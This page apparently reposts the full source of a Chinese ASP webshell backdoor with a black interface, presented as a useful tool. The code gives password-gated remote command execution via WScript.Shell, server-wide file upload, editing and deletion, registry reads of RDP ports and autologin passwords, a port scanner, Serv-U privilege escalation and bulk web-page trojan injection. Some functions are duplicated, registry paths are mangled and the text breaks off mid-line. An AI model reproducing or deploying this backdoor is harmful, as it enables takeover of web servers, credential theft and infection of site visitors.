首页 / 网页编程 / ASP / 一款不错的asp木马 黑色界面
<%
Server.ScriptTimeout=999999999
Response.Buffer =true
On Error Resume Next
UserPass="643617" "密码
mName="BY:.尐飛" "后门名字
Copyright="注:请勿用于非法用途,否则后果作者概不负责" "版权
Server.ScriptTimeout=999999999
Response.Buffer =true
On Error Resume Next
sub ShowErr()
If Err Then
RRS"<br><a href="javascript:history.back()"><br> " &
Err.Description & "</a><br>"
Err.Clear:Response.Flush
End If
end sub
Sub RRS(str)
response.write(str)
End Sub
Function RePath(S)
RePath=Replace(S,"","\")
End Function
Function RRePath(S)
RRePath=Replace(S,"\","")
End Function
URL=Request.ServerVariables("URL")
ServerIP=Request.ServerVariables("LOCAL_ADDR")
Action=Request("Action")
RootPath=Server.MapPath(".")
WWWRoot=Server.MapPath("/")
serveru=request.servervariables("http_host")&url
serverp=userpass
FolderPath=Request("FolderPath")
FName=Request("FName")
BackUrl="<br><br><center><a href="javascript:history.back()">返回
</a></center>"
RRS"<html><meta http-equiv=""Content-Type"" content=""text/html;
charset=gb2312"">"
RRS"<title>"&mName1&" - "&ServerIP&" </title>"
RRS"<style type=""text/css"">"
RRS"body,td{font-size: 12px;background-color:#000000;color:#eee;}"
RRS"input,select,textarea{font-size: 12px;background-
color:#ddd;border:1px solid #fff}"
RRS".C{background-color:#000000;border:0px}"
RRS".cmd{background-color:#000;color:#FFF}"
RRS"body{margin: 0px;margin-left:4px;}"
RRS"a{color:#ddd;text-decoration: none;}a:hover
{color:red;background:#000}"
RRS".am{color:#888;font-size:11px;}"
RRS"</style>"
RRS"<script language=javascript>function killErrors(){return true;}
window.onerror=killErrors;"
RRS"function yesok(){if (confirm(""确认要执行此操作吗?""))return
true;else return false;}"
RRS"function runClock(){theTime = window.setTimeout(""runClock()"",
100);var today = new Date();var display= today.toLocaleString
();window.status=""→"&AD&" --""+display;}runClock();"
RRS"function ShowFolder(Folder){top.addrform.FolderPath.value =
Folder;top.addrform.submit();}"
RRS"function FullForm(FName,FAction){top.hideform.FName.value =
FName;if(FAction==""CopyFile""){DName = prompt(""请输入复制到目标文件全
名称"",FName);top.hideform.FName.value += ""||||""+DName;}else if
(FAction==""MoveFile""){DName = prompt(""请输入移动到目标文件全名
称"",FName);top.hideform.FName.value += ""||||""+DName;}else if
(FAction==""CopyFolder""){DName = prompt(""请输入移动到目标文件夹全名称
"",FName);top.hideform.FName.value += ""||||""+DName;}else if
(FAction==""MoveFolder""){DName = prompt(""请输入移动到目标文件夹全名称
"",FName);top.hideform.FName.value += ""||||""+DName;}else if
(FAction==""NewFolder""){DName = prompt(""请输入要新建的文件夹全名
称"",FName);top.hideform.FName.value = DName;}else{DName = ""Other"";}
if(DName!=null){top.hideform.Action.value =
FAction;top.hideform.submit();}else{top.hideform.FName.value = """";}}"
RRS"</script>"
rrs "<body"
If Action="" then RRS " scroll=no"
rrs ">"
Dim ObT(13,2)
ObT(0,0) = "Scripting.FileSystemObject"
ObT(0,2) = "文件操作组件"
ObT(1,0) = "wscript.shell"
ObT(1,2) = "命令行执行组件"
ObT(2,0) = "ADOX.Catalog"
ObT(2,2) = "ACCESS建库组件"
ObT(3,0) = "JRO.JetEngine"
ObT(3,2) = "ACCESS压缩组件"
ObT(4,0) = "Scripting.Dictionary"
ObT(4,2) = "数据流上传辅助组件"
ObT(5,0) = "Adodb.connection"
ObT(5,2) = "数据库连接组件"
ObT(6,0) = "Adodb.Stream"
ObT(6,2) = "数据流上传组件"
ObT(7,0) = "SoftArtisans.FileUp"
ObT(7,2) = "SA-FileUp 文件上传组件"
ObT(8,0) = "LyfUpload.UploadFile"
ObT(8,2) = "刘云峰文件上传组件"
ObT(9,0) = "Persits.Upload.1"
ObT(9,2) = "ASPUpload 文件上传组件"
ObT(10,0) = "JMail.SmtpMail"
ObT(10,2) = "JMail 邮件收发组件"
ObT(11,0) = "CDONTS.NewMail"
ObT(11,2) = "虚拟SMTP发信组件"
ObT(12,0) = "SmtpMail.SmtpMail.1"
ObT(12,2) = "SmtpMail发信组件"
ObT(13,0) = "Microsoft.XMLHTTP"
ObT(13,2) = "数据传输组件"
For i=0 To 13
Set T=Server.CreateObject(ObT(i,0))
If -2147221005 <> Err Then
IsObj=" √"
Else
IsObj=" ×"
Err.Clear
End If
Set T=Nothing
ObT(i,1)=IsObj
Next
If FolderPath<>"" then
Session("FolderPath")=RRePath(FolderPath)
End If
If Session("FolderPath")="" Then
FolderPath=RootPath
Session("FolderPath")=FolderPath
End if
Function MainForm()
RRS"<form name=""hideform"" method=""post"" action="""&URL&"""
target=""FileFrame"">"
RRS"<input type=""hidden"" name=""Action"">"
RRS"<input type=""hidden"" name=""FName"">"
RRS"</form>"
RRS"<table width="100%" height="100%" border=0 cellpadding="0"
cellspacing="0">"
RRS"<tr><td height="30" colspan="2">"
RRS"<table width="100%">"
RRS"<form name="addrform" method="post" action=""&URL&""
target="_parent">"
RRS"<tr><td width="60" align="center">地址栏:</td><td>"
RRS"<input name="FolderPath" style="width:100%" value=""&Session
("FolderPath")&"">"
RRS"</td><td width="140" align="center"><input name="Submit"
type="submit" value="转到"> <input type="submit" value="刷新主窗口"
onclick="FileFrame.location.reload()">"
RRS"</td></tr></form></table></td></tr><tr><td width="170">"
RRS"<iframe name="Left" src="?Action=MainMenu" width="100%"
height="100%" frameborder="0"></iframe></td>"
RRS"<td>"
RRS"<iframe name="FileFrame" src="?Action=Show1File" width="100%"
height="100%" frameborder="1"></iframe>"
RRS"</td></tr></table>"
End Function
if request("web")="admin" then
Session("web2a2dmin") = UserPass
URL()
end if
Function MainForm()
RRS"<form name=""hideform"" method=""post"" action="""&URL&"""
target=""FileFrame"">"
RRS"<input type=""hidden"" name=""Action"">"
RRS"<input type=""hidden"" name=""FName"">"
RRS"</form>"
RRS"<table width="100%" height="100%" border=0 cellpadding="0"
cellspacing="0">"
RRS"<tr><td height="30" colspan="2">"
RRS"<table width="100%">"
RRS"<form name="addrform" method="post" action=""&URL&""
target="_parent">"
RRS"<tr><td width="60" align="center">地址栏:</td><td>"
RRS"<input name="FolderPath" style="width:100%" value=""&Session
("FolderPath")&"">"
RRS"</td><td width="140" align="center"><input name="Submit"
type="submit" value="转到"> <input type="submit" value="刷新主窗口"
onclick="FileFrame.location.reload()">"
RRS"</td></tr></form></table></td></tr><tr><td width="170">"
RRS"<iframe name="Left" src="?Action=MainMenu" width="100%"
height="100%" frameborder="0"></iframe></td>"
RRS"<td>"
RRS"<iframe name="FileFrame" src="?Action=Show1File" width="100%"
height="100%" frameborder="1"></iframe>"
RRS"</td></tr></table>"
End Function
Function MainMenu()
RRS"<table width="100%" cellspacing="0" cellpadding="0">"
RRS"<tr><td height="5"></td></tr>"
RRS"<tr><td><center><a href=""&SiteURL2&"" target="_blank"><font
color=red>"&mName2&"</font></center></a><hr hight=1 width="100%">"
RRS"</td></tr>"
If ObT(0,1)=" ×" Then
RRS"<tr><td height="24">无权限</td></tr>"
Else
RRS"<tr><td height=22 onmouseover=""menu1.style.display=""""> ↓查看硬
盘<div id=menu1 style=""width:100%;display="none"""
onmouseout=""menu1.style.display="none""">"
Set ABC=New LBF:RRS ABC.ShowDriver():Set ABC=Nothing
RRS"</div></td></tr><tr><td height="20"><a href="javascript:ShowFolder
("""&RePath(WWWRoot)&""")">->站点根目录</a></td></tr>"
RRS"<tr><td height="20"><a href="javascript:ShowFolder("""&RePath
(RootPath)&""")">→本程序目录</a></td></tr>"
RRS"<tr><td height="20"><a href="javascript:ShowFolder(""C:\Program
Files"")">→Program Files</a></td></tr>"
RRS"<tr><td height="20"><a href="javascript:ShowFolder(""C:\Documents
and Settings\All Users\Documents"")">->Documents</a></td></tr>"
RRS"<tr><td height="20"><a href="javascript:ShowFolder(""C:\Documents
and Settings\All Users\Application Data\Symantec\pcAnywhere"")">-
>pcAnywhere</a></td></tr>"
RRS"<tr><td height="20"><a href="javascript:ShowFolder(""C:\Documents
and Settings\All Users\「开始」菜单\程序"")">->开始 <b>→</b> 程序
<hr></a></td></tr>"
End If
RRS"<tr><td height="22"><a href="?Action=Course" target="FileFrame">→
系统服务-用户账号</a></td></tr>"
RRS"<tr><td height="22"><a href="?Action=getTerminalInfo"
target="FileFrame">→终端端口-自动登录</a></td></tr>"
RRS"<tr><td height="22"><a href="?Action=ServerInfo"
target="FileFrame">→服务信息-组件支持</a></td></tr>"
RRS"<tr><td height="22"><a href="?Action=Cmd1Shell" target="FileFrame">
→执行CMD命令</a></td></tr>"
RRS"<tr><td height="22"><a href="?Action=ScanPort" target="FileFrame">
→端口扫描器</a></td></tr>"
RRS"<tr><td height="22"><a href="?Action=Servu" target="FileFrame">→
Serv-u提权</a></td></tr>"
RRS"<tr><td height="22"><a href="?Action=ReadREG" target="FileFrame">→
读取注册表</a></td></tr>"
RRS"<tr><td height="20"><a href="javascript:FullForm("""&RePath
(Session("FolderPath")&"NewFolder")&""",""NewFolder"")">→新建目录
<hr></a></td></tr>"
RRS"<tr><td height="20"><a href="?Action=EditFile" target="FileFrame">
→新建文本</a></td></tr>"
RRS"<tr><td height="22"><a href="?Action=UpFile" target="FileFrame">→
上传文件</a></td></tr>"
RRS"<tr><td height="22"><a href="?Action=kmuma" target="FileFrame">→查
找木马</b></a></td></tr>"
RRS"<tr><td height="22"><a href="?Action=Cplgm&M=1" target="FileFrame">
→高级挂马</a></td></tr>"
RRS"<tr><td height="22"><a href="?Action=Cplgm&M=2" target="FileFrame">
→批量清马</a></td></tr>"
RRS"<tr><td height="22"><a href="?Action=Cplgm&M=3" target="FileFrame">
→批量替换</a></td></tr>"
RRS"<tr><td height="22"><a href="?Action=plgm" target="FileFrame"></b>
→低级挂马</a></b></td></tr>"
RRS"<tr><td height="22"><a href="?Action=Logout" target="_top">→退出登
录</a></td></tr>"
RRS"<tr><td align=center
style="color:red"><hr>"&Copyright2&"</td></tr></table>"
RRS"</table>"
End Function
Sub unPack(thePath)
On Error Resume Next
Server.ScriptTimeOut = 5000
Dim rs, ws, str, conn, stream, connStr, theFolder
str = Server.MapPath(".") & ""
Set rs = CreateObject("ADODB.RecordSet")
Set stream = CreateObject("ADODB.Stream")
Set conn = CreateObject("ADODB.Connection")
connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data
Source=" & thePath & ";"
conn.Open connStr
rs.Open "FileData", conn, 1, 1
stream.Open
stream.Type = 1
Do Until rs.Eof
theFolder = Left(rs("thePath"), InStrRev(rs
("thePath"), ""))
If fsoX.FolderExists(str & theFolder) = False
Then
createFolder(str & theFolder)
End If
stream.SetEos()
stream.Write rs("fileContent")
stream.SaveToFile str & rs("thePath"), 2
rs.MoveNext
Loop
rs.Close
conn.Close
stream.Close
Set ws = Nothing
Set rs = Nothing
Set stream = Nothing
Set conn = Nothing
End Sub
Sub createFolder(thePath)
Dim i
i = Instr(thePath, "")
Do While i > 0
If fsoX.FolderExists(Left(thePath, i)) = False
Then
fsoX.CreateFolder(Left(thePath, i - 1))
End If
If InStr(Mid(thePath, i + 1), "") Then
i = i + Instr(Mid(thePath, i + 1), "")
Else
i = 0
End If
Loop
End Sub
Function Course()
SI="<br><table width="600" bgcolor="menu" border="0" cellspacing="1"
cellpadding="0" align="center">"
SI=SI&"<tr><td height="20" colspan="3" align="center" bgcolor="menu">系
统用户与服务</td></tr>"
on error resume next
for each obj in getObject("WinNT://.")
err.clear
if OBJ.StartType="" then
SI=SI&"<tr>"
SI=SI&"<td height=""20"" bgcolor=""#FFFFFF""> "
SI=SI&obj.Name
SI=SI&"</td><td bgcolor=""#FFFFFF""> "
SI=SI&"系统用户(组)"
SI=SI&"</td></tr>"
SI0="<tr><td height=""20"" bgcolor=""#FFFFFF""
colspan=""2""> </td></tr>"
end if
if OBJ.StartType=2 then lx="自动"
if OBJ.StartType=3 then lx="手动"
if OBJ.StartType=4 then lx="禁用"
if LCase(mid(obj.path,4,3))<>"win" and OBJ.StartType=2 then
SI1=SI1&"<tr><td height=""20""
bgcolor=""#FFFFFF""> "&obj.Name&"</td><td height=""20""
bgcolor=""#FFFFFF""> "&obj.DisplayName&"<tr><td height=""20""
bgcolor=""#FFFFFF"" colspan=""2"">[启动类型:"&lx&"]<font
color=#FF0000> "&obj.path&"</font></td></tr>"
else
SI2=SI2&"<tr><td height=""20""
bgcolor=""#FFFFFF""> "&obj.Name&"</td><td height=""20""
bgcolor=""#FFFFFF""> "&obj.DisplayName&"<tr><td height=""20""
bgcolor=""#FFFFFF"" colspan=""2"">[启动类型:"&lx&"]<font
color=#3399FF> "&obj.path&"</font></td></tr>"
end if
next
RRS SI&SI0&SI1&SI2&"</table>"
End Function
Function ServerInfo()
SI="<br><table width="80%" bgcolor="menu" border="0" cellspacing="1"
cellpadding="0" align="center">"
SI=SI&"<tr><td height="20" colspan="3" align="center" bgcolor="menu">服
务器组件信息</td></tr>"
SI=SI&"<tr align="center"><td height="20" width="200"
bgcolor="#FFFFFF">服务器名</td><td bgcolor="#FFFFFF"> </td><td
bgcolor="#FFFFFF">"&request.serverVariables("SERVER_NAME")&"</td></tr>"
SI=SI&"<form method=post action="http://www.ip138.com/index.asp"
name="ipform" target="_blank"><tr align="center"><td height="20"
width="200" bgcolor="#FFFFFF">服务器IP</td><td
bgcolor="#FFFFFF"> </td><td bgcolor="#FFFFFF">"
SI=SI&"<input type="text" name="ip" size="15"
value=""&Request.ServerVariables("LOCAL_ADDR")
&""style="border:0px"><input type="submit" value="查
询"style="border:0px"><input type="hidden" name="action"
value="2"></td></tr></form>"
SI=SI&"<tr align="center"><td height="20" width="200"
bgcolor="#FFFFFF">服务器时间</td><td bgcolor="#FFFFFF"> </td><td
bgcolor="#FFFFFF">"&now&" </td></tr>"
SI=SI&"<tr align="center"><td height="20" width="200"
bgcolor="#FFFFFF">服务器CPU数量</td><td
bgcolor="#FFFFFF"> </td><td
bgcolor="#FFFFFF">"&Request.ServerVariables("NUMBER_OF_PROCESSORS")
&"</td></tr>"
SI=SI&"<tr align="center"><td height="20" width="200"
bgcolor="#FFFFFF">服务器操作系统</td><td
bgcolor="#FFFFFF"> </td><td
bgcolor="#FFFFFF">"&Request.ServerVariables("OS")&"</td></tr>"
SI=SI&"<tr align="center"><td height="20" width="200"
bgcolor="#FFFFFF">WEB服务器版本</td><td
bgcolor="#FFFFFF"> </td><td
bgcolor="#FFFFFF">"&Request.ServerVariables("SERVER_SOFTWARE")
&"</td></tr>"
For i=0 To 13
SI=SI&"<tr align="center"><td height="20" width="200"
bgcolor="#FFFFFF">"&ObT(i,0)&"</td><td bgcolor="#FFFFFF">"&ObT(i,1)
&"</td><td bgcolor="#FFFFFF" align=left>"&ObT(i,2)&"</td></tr>"
Next
RRS SI
End Function
Function DownFile(Path)
Response.Clear
Set OSM = CreateObject(ObT(6,0))
OSM.Open
OSM.Type = 1
OSM.LoadFromFile Path
sz=InstrRev(path,"")+1
Response.AddHeader "Content-Disposition", "attachment; filename=" &
Mid(path,sz)
Response.AddHeader "Content-Length", OSM.Size
Response.Charset = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite OSM.Read
Response.Flush
OSM.Close
Set OSM = Nothing
End Function
Function HTMLEncode(S)
if not isnull(S) then
S = replace(S, ">", ">")
S = replace(S, "<", "<")
S = replace(S, CHR(39), "'")
S = replace(S, CHR(34), """)
S = replace(S, CHR(20), " ")
HTMLEncode = S
end if
End Function
Function UpFile()
If Request("Action2")="Post" Then
Set U=new UPC : Set F=U.UA("LocalFile")
UName=U.form("ToPath")
If UName="" Or F.FileSize=0 then
SI="<br>请输入上传的完全路径后选择一个文件上传!"
Else
F.SaveAs UName
If Err.number=0 Then
SI="<center><br><br><br>文件"&UName&"上传成功!</center>"
End if
End If
Set F=nothing:Set U=nothing
SI=SI&BackUrl
RRS SI
ShowErr()
Response.End
End If
SI="<br><br><br><table border="0" cellpadding="0" cellspacing="0"
align="center">"
SI=SI&"<form name="UpForm" method="post" action=""&URL&"?
Action=UpFile&Action2=Post" enctype="multipart/form-data">"
SI=SI&"<tr><td>"
SI=SI&"上传路径:<input name="ToPath" value=""&RRePath(Session
("FolderPath")&"diy3.asp")&"" size="40">"
SI=SI&" <input name="LocalFile" type="file" size="25">"
SI=SI&" <input type="submit" name="Submit" value="上传">"
SI=SI&"</td></tr></form></table>"
RRS SI
End Function
Function Cmd1Shell()
checked=" checked"
If Request("SP")<>"" Then Session("ShellPath") = Request("SP")
ShellPath=Session("ShellPath")
if ShellPath="" Then ShellPath = "diy3.asp"
if Request("wscript")<>"yes" then checked=""
If Request("cmd")<>"" Then DefCmd = Request("cmd")
SI="<form method="post">"
SI=SI&"SHELL路径:<input name="SP" value=""&ShellPath&""
Style="width:70%"> "
SI=SI&"<input class=c type="checkbox" name="wscript"
value="yes""&checked&">WScript.Shell"
SI=SI&"<input name="cmd" Style="width:92%" value=""&DefCmd&""> <input
type="submit" value="执行"><textarea Style="width:100%;height:440;"
class="cmd">"
If Request.Form("cmd")<>"" Then
if Request.Form("wscript")="yes" then
Set CM=CreateObject(ObT(1,0))
Set DD=CM.exec(ShellPath&" /c "&DefCmd)
aaa=DD.stdout.readall
SI=SI&aaa
else
On Error Resume Next
Set ws=Server.CreateObject("WScript.Shell")
Set ws=Server.CreateObject("WScript.Shell")
Set fso=Server.CreateObject("Scripting.FileSystemObject")
szTempFile = server.mappath("cmd.txt")
Call ws.Run (ShellPath&" /c " & DefCmd & " > " & szTempFile, 0, True)
Set fs = CreateObject("Scripting.FileSystemObject")
Set oFilelcx = fs.OpenTextFile (szTempFile, 1, False, 0)
aaa=Server.HTMLEncode(oFilelcx.ReadAll)
oFilelcx.Close
Call fso.DeleteFile(szTempFile, True)
SI=SI&aaa
end if
End If
SI=SI&chr(13)&"</textarea></form>"
RRS SI
End Function
if session("web2a2dmin")<>UserPass then
if request.form("pass")<>"" then
if request.form("pass")=UserPass then
session("web2a2dmin")=UserPass
response.redirect url
else
rrs"<br><br><br><b><div align=center><font size="14" color="red">注:
请勿用于非法用途,否则后果自负!!!</font></b> <br><br><br><br><b><div
align=center><font size="14" color="lime">HACK by:漫步云端
</font></b></p>"
end if
else
si="<center><div style="width:500px;border:1px solid
#222;padding:22px;margin:100px;"><br><a href=""&SiteURL&""
target="_blank">"&mname&"</a><hr><form action=""&url&"" method="post">
密码:<input name="pass" type="password" size="22"> <input
type="submit" value="登录"><hr>"&Copyright&"</center>"
if instr(SI,SIC)<>0 then rrs sI
end if
response.end
end if
Dim T1
Class UPC
Dim D1,D2
Public Function Form(F)
F=lcase(F)
If D1.exists(F) then:Form=D1(F):else:Form="":end if
End Function
Public Function UA(F)
F=lcase(F)
If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if
End Function
Private Sub Class_Initialize
Dim
TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName
set D1=CreateObject(ObT(4,0))
if Request.TotalBytes<1 then Exit Sub
set T1 = CreateObject(ObT(6,0))
T1.Type = 1 : T1.Mode =3 : T1.Open
T1.Write Request.BinaryRead(Request.TotalBytes)
T1.Position=0 : TDa =T1.Read : DStart = 1
DEnd = LenB(TDa)
set D2=CreateObject(ObT(4,0))
vbCrlf = chrB(13) & chrB(10)
set T2 = CreateObject(ObT(6,0))
TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1)
TLen = LenB (TSt)
DStart=DStart+TLen+1
while (DStart + 10) < DEnd
DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3
T2.Type = 1 : T2.Mode =3 : T2.Open
T1.Position = DStart
T1.CopyTo T2,DIEnd-DStart
T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312"
TIn = T2.ReadText : T2.Close
DStart = InStrB(DIEnd,TDa,TSt)
FStart = InStr(22,TIn,"name=""",1)+6
FEnd = InStr(FStart,TIn,"""",1)
UpName = lcase(Mid (TIn,FStart,FEnd-FStart))
if InStr (45,TIn,"filename=""",1) > 0 then
set TFL=new FIF
FStart = InStr(FEnd,TIn,"filename=""",1)+10
FEnd = InStr(FStart,TIn,"""",1)
FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14
FEnd = InStr(FStart,TIn,vbCr)
TFL.FileStart =DIEnd
TFL.FileSize = DStart -DIEnd -3
if not D2.Exists(UpName) then
D2.add UpName,TFL
end if
else
T2.Type =1 : T2.Mode =3 : T2.Open
T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3
T2.Position = 0 : T2.Type = 2
T2.Charset ="gb2312"
SFV = T2.ReadText
T2.Close
if D1.Exists(UpName) then
D1(UpName)=D1(UpName)&", "&SFV
else
D1.Add UpName,SFV
end if
end if
DStart=DStart+TLen+1
wend
TDa=""
set T2 =nothing
End Sub
Private Sub Class_Terminate
if Request.TotalBytes>0 then
D1.RemoveAll:D2.RemoveAll
set D1=nothing:set D2=nothing
T1.Close:set T1 =nothing
end if
End Sub
End Class
Class FIF
dim FileSize,FileStart
Private Sub Class_Initialize
FileSize = 0
FileStart= 0
End Sub
Public function SaveAs(F)
dim T3
SaveAs=true
if trim(F)="" or FileStart=0 then exit function
set T3=CreateObject(ObT(6,0))
T3.Mode=3 : T3.Type=1 : T3.Open
T1.position=FileStart
T1.copyto T3,FileSize
T3.SaveToFile F,2
T3.Close
set T3=nothing
SaveAs=false
end function
End Class
Class LBF
Dim CF
Private Sub Class_Initialize
SET CF=CreateObject(ObT(0,0))
End Sub
Private Sub Class_Terminate
Set CF=Nothing
End Sub
Function ShowDriver()
For Each D in CF.Drives
RRS" <a href="javascript:ShowFolder
("""&D.DriveLetter&":\"")">本地磁盘 ("&D.DriveLetter&":)</a><br>"
Next
End Function
Function Show1File(Path)
Set FOLD=CF.GetFolder(Path)
i=0
SI="<table width="100%" border="0" cellspacing="0"
cellpadding="0"><tr>"
For Each F in FOLD.subfolders
SI=SI&"<td height=10>"
SI=SI&"<a href="javascript:ShowFolder("""&RePath(Path&""&F.Name)
&""")" title=""打开""><font face="wingdings"
size="6">0</font>"&F.Name&"</a>"
SI=SI&" _<a href="javascript:FullForm("""&RePath
(Path&""&F.Name)&""",""CopyFolder"")" onclick="return yesok()"
class="am" title="复制">复制</a>"
SI=SI&" <a href="javascript:FullForm("""&Replace
(Path&""&F.Name,"","\")&""",""DelFolder"")" onclick="return yesok
()" class="am" title="删除">删除</a>"
SI=SI&" <a href="javascript:FullForm("""&RePath
(Path&""&F.Name)&""",""MoveFolder"")" onclick="return yesok()"
class="am" title="移动">移动</a>"
SI=SI&" <a href="javascript:FullForm("""&RePath
(Path&""&F.Name)&""",""DownFile"")" onclick="return yesok()"
class="am" title="下载">下载</a></td>"
i=i+1
If i mod 3 = 0 then SI=SI&"</tr><tr>"
Next
SI=SI&"</tr><tr><td height=2></td></tr></table>"
RRS SI &"<hr noshade color=""#CCCCCC"" size=1 color=""#"" />" :
SI=""
For Each L in Fold.files
SI="<table width="100%" border="0" cellspacing="0"
cellpadding="0">"
SI=SI&"<tr style="boungroup-color:#">"
SI=SI&"<td height="30"><a href="javascript:FullForm("""&RePath
(Path&""&L.Name)&""",""DownFile"");" title="下载"><font
face="wingdings" size="4">2</font>"&L.Name&"</a></td>"
SI=SI&"<td width="40" align=""center""><a
href="javascript:FullForm("""&RePath(Path&""&L.Name)
&""",""EditFile"")" class="am" title="编辑">编辑</a></td>"
SI=SI&"<td width="40" align=""center""><a
href="javascript:FullForm("""&RePath(Path&""&L.Name)&""",""DelFile"")"
onclick="return yesok()" class="am" title="删除">删除</a></td>"
SI=SI&"<td width="40" align=""center""><a
href="javascript:FullForm("""&RePath(Path&""&L.Name)
&""",""CopyFile"")" class="am" title="复制">复制</a></td>"
SI=SI&"<td width="40" align=""center""><a
href="javascript:FullForm("""&RePath(Path&""&L.Name)
&""",""MoveFile"")" class="am" title="移动">移动</a></td>"
SI=SI&"<td width="50" align=""center"">"&clng(L.size/1024)&"K</td>"
SI=SI&"<td width="200" align=""center"">"&L.Type&"</td>"
SI=SI&"<td width="160">"&L.DateLastModified&"</td>"
SI=SI&"</tr></table>"
RRS SI:SI=""
Next
Set FOLD=Nothing
End function
Function DelFile(Path)
If CF.FileExists(Path) Then
CF.DeleteFile Path
SI="<center><br><br><br>文件 "&Path&" 删除成功!</center>"
SI=SI&BackUrl
RRS SI
End If
End Function
Function EditFile(Path)
If Request("Action2")="Post" Then
Set T=CF.CreateTextFile(Path)
T.WriteLine Request.form("content")
T.close
Set T=nothing
SI="<center><br><br><br>文件保存成功!</center>"
SI=SI&BackUrl
RRS SI
Response.End
End If
If Path<>"" Then
Set T=CF.opentextfile(Path, 1, False)
Txt=HTMLEncode(T.readall)
T.close
Set T=Nothing
Else
Path=Session("FolderPath")&"
ewfile.asp":Txt="新建文件"
End If
SI=SI&"<Form action=""&URL&"?Action2=Post" method="post"
name="EditForm">"
SI=SI&"<input name="Action" value="EditFile" Type="hidden">"
SI=SI&"<input name="FName" value=""&Path&"" style="width:100%"><br>"
SI=SI&"<textarea name="Content"
style="width:100%;height:450">"&Txt&"</textarea><br>"
SI=SI&"<hr><input name="goback" type="button" value="返回"
onclick="history.back();"> <input name="reset"
type="reset" value="重置"> <input name="submit"
type="submit" value="保存"></form>"
RRS SI
End Function
Function CopyFile(Path)
Path = Split(Path,"||||")
If CF.FileExists(Path(0)) and Path(1)<>"" Then
CF.CopyFile Path(0),Path(1)
SI="<center><br><br><br>文件"&Path(0)&"复制成功!</center>"
SI=SI&BackUrl
RRS SI
End If
End Function
Function MoveFile(Path)
Path = Split(Path,"||||")
If CF.FileExists(Path(0)) and Path(1)<>"" Then
CF.MoveFile Path(0),Path(1)
SI="<center><br><br><br>文件"&Path(0)&"移动成功!</center>"
SI=SI&BackUrl
RRS SI
End If
End Function
Function DelFolder(Path)
If CF.FolderExists(Path) Then
CF.DeleteFolder Path
SI="<center><br><br><br>目录"&Path&"删除成功!</center>"
SI=SI&BackUrl
RRS SI
End If
End Function
Function CopyFolder(Path)
Path = Split(Path,"||||")
If CF.FolderExists(Path(0)) and Path(1)<>"" Then
CF.CopyFolder Path(0),Path(1)
SI="<center><br><br><br>目录"&Path(0)&"复制成功!</center>"
SI=SI&BackUrl
RRS SI
End If
End Function
Function MoveFolder(Path)
Path = Split(Path,"||||")
If CF.FolderExists(Path(0)) and Path(1)<>"" Then
CF.MoveFolder Path(0),Path(1)
SI="<center><br><br><br>目录"&Path(0)&"移动成功!</center>"
SI=SI&BackUrl
RRS SI
End If
End Function
Function NewFolder(Path)
If Not CF.FolderExists(Path) and Path<>"" Then
CF.CreateFolder Path
SI="<center><br><br><br>目录"&Path&"新建成功!</center>"
SI=SI&BackUrl
RRS SI
End If
End Function
End Class
sub getTerminalInfo()
On Error Resume Next
Set wsX = Server.CreateObject("WScript.Shell")
Dim terminalPortPath, terminalPortKey, termPort
Dim autoLoginPath, autoLoginUserKey, autoLoginPassKey
Dim isAutoLoginEnable, autoLoginEnableKey, autoLoginUsername,
autoLoginPassword
terminalPortPath = "HKLMSYSTEMCurrentControlSetControlTerminal
ServerWinStationsRDP-Tcp"
terminalPortKey = "PortNumber"
termPort = wsX.RegRead(terminalPortPath & terminalPortKey)
RRS "终端服务端口及自动登录<hr/><ol>"
If termPort = "" Or Err.Number <> 0 Then
RRS"无法得到终端服务端口, 请检查权限是否已经受到限制.<br/>"
Else
RRS "当前终端服务端口: " & termPort & "<br/>"
End If
autoLoginPath = "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows
NTCurrentVersionWinlogon"
autoLoginEnableKey = "AutoAdminLogon"
autoLoginUserKey = "DefaultUserName"
autoLoginPassKey = "DefaultPassword"
isAutoLoginEnable = wsX.RegRead(autoLoginPath & autoLoginEnableKey)
If isAutoLoginEnable = 0 Then
RRS "系统自动登录功能未开启<br/>"
Else
autoLoginUsername = wsX.RegRead(autoLoginPath & autoLoginUserKey)
RRS "自动登录的系统帐户: " & autoLoginUsername & "<br>"
autoLoginPassword = wsX.RegRead(autoLoginPath & autoLoginPassKey)
If Err Then
Err.Clear
RRS "False"
End If
RRS "自动登录的帐户密码: " & autoLoginPassword & "<br>"
End If
RRS "</ol>"
End Sub
sub ReadREG()
RRS "注册表键值读取:<hr/>"
RRS "<form method=post>"
RRS "<input type=hidden value=readReg name=theAct>"
RRS "<input name=thePath
value="HKLMSYSTEMCurrentControlSetControlComputerNameComputerName
ComputerName" size=80>"
RRS " <input type=submit value=" 读取 ">"
RRS "<span id=regeditInfo style="display:none;"><hr/>"
RRS "HKLMSoftwareMicrosoftWindowsCurrentVersionWinlogonDont-
DisplayLastUserName,REG_SZ,1 {不显示上次登录用户}<br/>"
RRS
"HKLMSYSTEMCurrentControlSetControlLsa
estrictanonymous,REG_DWORD,
0 {0=缺省,1=匿名用户无法列举本机用户列表,2=匿名用户无法连接本机IPC$共享
}<br/>"
RRS
"HKLMSYSTEMCurrentControlSetServicesLanmanServerParametersAutoSha
reServer,REG_DWORD,0 {禁止默认共享}<br/>"
RRS
"HKLMSYSTEMCurrentControlSetServicesLanmanServerParametersEnableS
haredNetDrives,REG_SZ,0 {关闭网络共享}<br/>"
RRS
"HKLMSYSTEMcurrentControlSetServicesTcpipParametersEnableSecurity
Filters,REG_DWORD,1 {启用TCP/IP筛选(所有试配器)}<br/>"
RRS "HKLMSYSTEMControlSet001
ServicesTcpipParametersIPEnableRouter,REG_DWORD,1 {允许IP路由}
<br/>"
RRS "-------以下似乎要看绑定的网卡,不知道是否准确---------<br/>"
RRS
"HKLMSYSTEMCurrentControlSetServicesTcpipParametersInterfaces{8A
465128-8E99-4B0C-AFF3-1348DC55EB2E}DefaultGateway,REG_MUTI_SZ {默认网
关}<br/>"
RRS
"HKLMSYSTEMCurrentControlSetServicesTcpipParametersInterfaces{8A
